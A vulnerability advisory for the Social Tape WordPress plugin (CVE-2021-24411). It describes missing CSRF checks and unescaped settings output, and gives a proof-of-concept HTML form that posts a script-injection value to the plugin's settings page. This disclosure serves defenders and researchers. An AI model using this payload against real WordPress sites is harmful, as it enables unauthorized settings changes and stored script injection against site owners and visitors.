Social Tape <= 1.0 – CSRF to Stored XSS | CVE 2021-24411

Description

The plugin does not have CSRF checks in place when saving its settings, and do not sanitise or escape them before outputting them back in the page, leading to a stored Cross-Site Scripting issue via a CSRF attack

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/options-general.php?page=social-tape/social_tape.php" method="POST">
      <input type="hidden" name="oscimp_hidden" value="Y" />
      <input type="hidden" name="tape_fb" value='"><script>alert(/XSS/)</script>' />
      <input type="hidden" name="tape_tb" value="" />
      <input type="hidden" name="tape_gp" value="" />
      <input type="hidden" name="tape_da" value="" />
      <input type="hidden" name="tape_tw" value="" />
      <input type="hidden" name="tape_yt" value="" />
      <input type="hidden" name="tape_ytlink" value="" />
      <input type="hidden" name="Submit" value="Update Options" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>